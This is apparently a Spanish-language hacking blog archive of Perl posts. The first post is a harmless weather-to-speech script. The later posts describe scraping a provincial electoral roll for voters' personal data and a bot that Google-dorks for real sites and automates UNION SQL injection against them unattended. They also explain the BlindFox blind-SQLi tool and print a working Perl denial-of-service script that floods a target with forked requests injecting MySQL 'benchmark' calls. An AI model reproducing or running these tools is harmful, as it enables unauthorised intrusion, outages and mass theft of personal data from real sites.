Mostrando entradas con la etiqueta perl. Mostrar todas las entradas
Mostrando entradas con la etiqueta perl. Mostrar todas las entradas

lunes, 26 de abril de 2010

Jugando con Festival


Buenas hace un tiempo habia visto un post sobre este tema en el blog de Zerial.
La cuestion es que siempre quise jugar con esto pero por A o por B nunca lo hice, pero en fin ayer me quede hasta tarde entretenido con festival y me codee algo en perl para traer datos desde la web.

¿Pero que es Festival? Festival es un software text-to-speech (TTS) o sintetizador de vóz que nos permite lograr que nuestra máquina nos hable o, más bien, nos lea algún texto. Mas informacion aqui
Estracto Blog de Zerial


Para instalar este paquete no logueamos como r00t en la shell y lo instalamos con aptitude

$su
#aptitude install festival
#aptitude install festlex-cmu festlex-poslex festvox-kallpc16k libestools1.2 festvox-ellpc11k

Para probar que funciona correctamente, nos logueamos como usuario normal y colocamos.

$ festival --language spanish
Festival Speech Synthesis System 1.96:beta July 2004
Copyright (C) University of Edinburgh, 1996-2004. All rights reserved.
For details type `(festival_warranty)'
festival> (SayText "holaa como estas")

Si oyen el "Hola Como estas", es una voz horrible robotica pero bueno es lo que hay xD. Tambien se le puede pasar un archivo de texto para que lo lea. Tengo un amigo que uso uno de estos programas en windows y se leyo todo el libro de Kevin Mitnick "El arte de la intrusion" xD. Para leer un archivo se pasa este parametro.

$festival --language spanish --tts archivo.txt

Acoplando con Perl

Me escribi un simple script en perl donde trae el pronostico de Corrientes Capital, y empieza a recolectar datos que quiero con expresiones regulares, tambien nos dice la hora y algunas cosas mas. Esta maso por que lo hice a la madrugada y tenia pensado seguir agregandole mas cosas pero ya se hacia muy tarde, en fin se les dejo el script.
Esta muy entretenido podemos hacer muchas cosas como por ejemplo que nos lea noticias importantes, horoscopos, estado del transito etc. Yo lo coloque que cuando arranque el sistema me cuente como esta el pronostico ( ya me esta por cansar igual ja ).
Ah la pagina donde saca el pronostico es esta

who-speak.pl

#!/usr/bin/perl

use LWP::Simple;

use utf8 ;

no utf8 ;

$pag="http://www.weather.com/weather/today/Corrientes+Argentina+ARCS0025";

$ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (X11; U; Linux x86_64; es; rv:1.9.1.8) Gecko/20100218 Firefox/3.0.3 (like Firefox/3.5.8)');

$ua->default_header('Accept-Language' => "es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3");#acceptar lenguage español

$ua->timeout(7);

#$ua->env_proxy;

$response = $ua->get($pag);

$pedido= $response->content;



#$pedido =~m/<p align=center><b>HOY(.*?)<\/b><\/p>/s;

#$dia=$1;

#--------------------------Tomo fecha actualizacion de datos--------------------------------------------s#

#

$pedido =~m/<p class="ccWeatherTimeStamp">Updated:\s*(.*?)Local Time<\/p>/s;#tomo la actulizacion de los datos

$update=$1;

$update=~s/\n//gi;$update=~s/\t//gi;#limpio los \n y los \t

#----------Cambio los meses a Español------------

$update=~s/Jan/Enero/gi;

$update=~s/Feb/Febreol/gi;

$update=~s/Mar/Marzol/gi;

$update=~s/Apr/Abril/gi;

$update=~s/May/Mayo/gi;

$update=~s/June/Junio/gi;

$update=~s/July/Julio/gi;

$update=~s/Aug/Agosto/gi;

$update=~s/Sept/Septiembre/gi;

$update=~s/Oct/Octubre/gi;

$update=~s/Nov/Noviembre/gi;

$update=~s/Dec/Diciembre/gi;

#-----------------Fin CAmbio Meses---------------------





#--------tomo la temperatura-----------



$pedido =~m/<div class="ccTemp">(\d+)° F<\/div>/s;

$temp=$1;

$centigrados=($temp - 32) * 5/9;#paso de F a C

$centigrados = sprintf("%.1f", $centigrados);#truncoo el numero

#-------------tomo el estado---------------

$pedido =~m/<div class="ccdata"><p>(.*?)<\/p><\/div>/s;

$estado=$1;





#--------------------------creo el archivoi--------------------------------------------s#

($sec,$min,$hour)= localtime(time);



open (AR,">"."temp.txt") || die "No puede crear el archivo error: $!";

print AR "Hola Francisco, BUEN DIA!!\n";

print AR "Son las $hour horas, con $min minutos, y $sec segundos.\n";

print AR "Estado Del Tiempo. -- Corrientes Argentina --.\n";

print AR "Ultima Actualizacion del Pronostico ".$update.".\n";

print AR "En este momento, la temperatura es de: ".$centigrados." Centigrados.\n";

print AR "con un estado del tiempo ".$estado."\n";

close(AR);

system('festival --language spanish --tts temp.txt');




Eso es todo..

Saludos

miércoles, 28 de octubre de 2009

Consultas a Padron Electoral 2009

Bueno estuve mirando la pagina del padrón de las elecciones pasadas en la provincia de Corrientes http://defsep13.corrientes.gov.ar/, donde se votaba para Gobernador. Y fui probando posibles inyecciones en SQL pero no tenia nada de eso, bien filtradas las variables. Así que pase a otro punto, el XSS donde obtuve éxito, pero lo deje alli y me intereso otra cosa .
Como vi que se podía consultar sin una previa Captcha, me puse a codear un script que automatiza las peticiones, y descargarme el padrón de apoco :).
El script lo codifique en perl Aqui el s0urce, lo que hace es abrir un socket hacia el puerto 80, y enviar cabeceras por el método POST de HTTP, haciéndolo dentro de un for para ir cambiando el numero de documento empezando desde 1 hasta una cota maxima que pongamos. Lo hago así por que la consulta aunque pongas un numero de DNI donde no tenga la cantidad de digitos exigentes, la genera igual. Es decir si yo mando el documento 1 con genero masculino. La consulta traerá el primer documento masculino que termine en 1. Si coloco 2 con genereo masculino, la consulta traerá el primer documento maculino que termine con 2 y así.
Bueno esto genera un archivo en extensión html el cual uds pueden cambiarlo desde el código el nombre(Linea 4), también pueden cambiar para que busque genero femenino, en vez de Masc. coloquen Fem. (Linea 23).

Aqui hay una captura de pantalla.



Obviamente que en este archivo mas abajo siguen mas datos, en esta captura solo se logra ver uno.
Saludos..

domingo, 18 de octubre de 2009

Bot MySQL Search Google 2.0

Aunque ya lo había terminado hace un tiempito voy a publicarlo recién por falta de tiempo. Hay algunas mejoras que coloque una de ellas es el filtrado de paginas que son posiblmente inyectables. Es decir que por ejemplo en una busqueda del tipo inurl:*.php?id=, con una cantidad de 10 paginas (o mas o menos es solo un ejemplo), seguramente en la misma búsqueda se van a repetir las mismas paginas por lo cual el BOT en la V. 1.0 no contemplaba esto y redundaba.
Otra característica muy importante es que ahora ya no necesita tanta coparticipación humana, solamente le pasamos los parámetros nesesarios, y empezara la automatizacion que contempla la búsqueda, la obtención de las posibles victimas, y el ataque por SQLi, (osea que podemos dejarlo en la noche y ver los resultados en el otro día) :). En este ataque intentara lo mismo que la versión anterior

1. Sacar columnas mediante la clausula UNION
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)

Después por ultimo todo lo recolectado lo guardara en un archivo que nosotros le diremos el nombre para que lo guarde en el misma ru
ta de donde es ejecutado el script, asi lov eremos despues con mayor tranquilidad.

Ejmplo de uso.

+++++++++++++++++++++++++++++++++++++
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++

[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inrul:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 15
[?]Nombre de archivo donde guardar todo: >>paginas_argentinas.txt

[+]Search:


Fijense los parametros que le paso. En primer lugar esta la busqueda inrul:noticias.php?id= site:com.ar
, en segundo lugar esta la cantidad 15, y como tercer y ultimo esta el archivo de salida donde se almacenara todo paginas_argentinas.txt.

Despues solo resta ver el archivo donde mostrata una lista con las que no pudo y las que pudo inyectar SQL, en donde en esta ultimas mostrara el detalle.

Aca esta el codigo s0urce

Tengo pensado seguir agregandole mas funciones y mas tipos de inyecciones. Ya tengo preparado para que la busqueda sea atravez del BING. Asi que esa seria una mejoria para la proxima. Si alguien tiene alguna idea o algun arreglo o parte de codigo con mucho gusto sera recibido..

Saludos..

domingo, 20 de septiembre de 2009

Bot MySQL Search Google 1.0 && 2.0

Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.

1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar

Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros

+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++

[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10

[+]Search:


Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto

[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23

[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>

Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.

Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:


[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--

Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto

[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--

[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>


Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria

[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *

Bueno en La proxima colocare la version 2.0


Aca esta el codigo http://paste2.org/p/433646

Saludos

jueves, 10 de septiembre de 2009

The Blind Fox

Blind Fox, es una herramienta codificada en perl por Loggin-root, el cual nos permite automatizar la inyecciones de BLIND SQL . Este script se fijara si el motor que estamos atacando tiene permiso a las vista information_schema y a la tabla Mysql.users. Luego hace un bruteo de las posibles tablas que los programadores usan al crear una para los usuarios y las posibles columnas que tendra esa tabla, luego de encontrarlas podemos extraer los datos de ella.

Tenemos dos version la V5.0 y la ultima V7.0. Voy a comentar el uso de ambas. Una vez que tengamos el script (abajo estan los links de los script), abrimos un shell, (si estas en Linux ya lo tenes instalado al interprete de perl :) , en Windows vas a tener que descargarte uno e instalarlo :p). y ejecutamos el script ej: perl Blindfox.pl

USO:Version 5.0

perl BlindFox_v05.pl [WEBSITE] [PATRON] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875

Esta es la pagina que nosotros encontramos como vulnerable a BLIND SQL, hay que pasarle la direccion con un valor valido. A que me refiero con valido, a que el numero que tiene asignado en este ejemplo la variable “id”, exista en la WEB.

[PATRON]: Bien este es el patron que se encuentra en la pagina TRUE, es decir al inyectar 1=1, la condicion se cumple siempre por lo cual nos mostrara la misma pagina que estaba anteriormente. Entonces hay que elegir alguna palabra de esa pagina “TRUE”, y pasarle al script en ese argumento entre comillas. Por ejemplo “Documento”

[FILE]: Archivo de salida donde guardara el informe para que lo veamos mas tranquilamente luego.

[-EXT]: Este parametro es opcional, si no le pasamos solo chequeara si la pagina es vulnerable, y luego verificara si el usuario de MySQL al que estamos atacando tiene permiso para leer la Vista Schema y la tabla Mysql.Users mas el bruteo de tablas y columnas. Si lo colocamos vamos a poder extraer los valores de alguna tabla y columna especifica

USO: Version 7.0

Uso: perl blindFox.pl [WEBSITE] [FILE] [-EXT]

[WEBSITE]: http://www.web.com/index.php?id=4875
[FILE]: Archivo donde guardar informe
[-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional)


Como podran observar en esta version no se pasa el PATRON, lo que el autor le agrego una funcion automatica para verificar si es vulnerable o no. ¿Como?. Agrega una funcion que lo que hace es contar las lineas de codigo de la pagina TRUE y la de la FALSE, luego compara dichos valores y si son distintos VULNERABLE!!, si no puede ser que no lo sea.. Pero por que coloco que puede ser.. Hay veces que este SCRIPT no interpreta bien en algunos casos, pero nosotros estamos seguro que la pagina es vulnerable por que inyectamos el AND 1=1 y AND 1=0 y nos da paginas diferentes. Entonces el BlindFox 5.0 nos salva en esta oportunidad pasandole el PATRON que nosotros sabemos que en la TRUE se encuentra y no en la FALSE

Aqui estan los Codigo

Version 5.0 y Version 7.0

Aclaracion: Estas herramientas se utilzan sabiendo lo que se esta haciendo, por eso recomiendo antes leer algun documento soble BLIND SQL.

Saludos

lunes, 7 de septiembre de 2009

DoS por SQLi

Resulta que apartir de una inyeccion en SQL , se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un DoS al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.
Lo que hacemos es atacar de forma parecida al que se realiza en Time-Based Blind SQL. Pero en este caso forzamos al motor a realizar un delay constantemente.
Aqui esta el script hecho en perl

  1. · #!/usr/bin/perl
  2. · use IO::Socket;
  3. · if (!@ARGV[2]){
  4. · print "======================================================= \n";
  5. · print " Denial of Service MySQL injection V 1.0by MagnoBalt \n\n";
  6. · print " use perl $0 www.pagina.com.ar /noticia.php?id=45\n\n";
  7. · print "======================================================= \n";
  8. · exit(0);
  9. · }
  10. ·
  11. · $host=$ARGV[0];
  12. · $path=$ARGV[1];
  13. · #$injeccion="+and+(select+count(*)+from+information_schema.columns, +information_schema.columns+T1,

+information_schema.tables+T2)" ;

  1. · $injeccion="+and benchmark(99999999999999,md5(0x6b616f78))";
  2. · for($i = 1; $i < $ARGV[2] ; $i++) {
  3. · $pid = fork();
  4. · $socket = new IO::Socket::INET(
  5. · PeerAddr => $host,
  6. · PeerPort => 'http(80)',
  7. · Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  8. · print $socket "GET " .$path.$injeccion. " HTTP/1.0\r\n";
  9. · print $socket "HOST:$host\r\n";
  10. · print $socket "\n\n";
  11. · print "*";
  12. · }


nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la linea 14 que es usando la funcion Benchmark.

Dejo el link de otro mismo script pero hecho en php por OzX . Link


Saludos.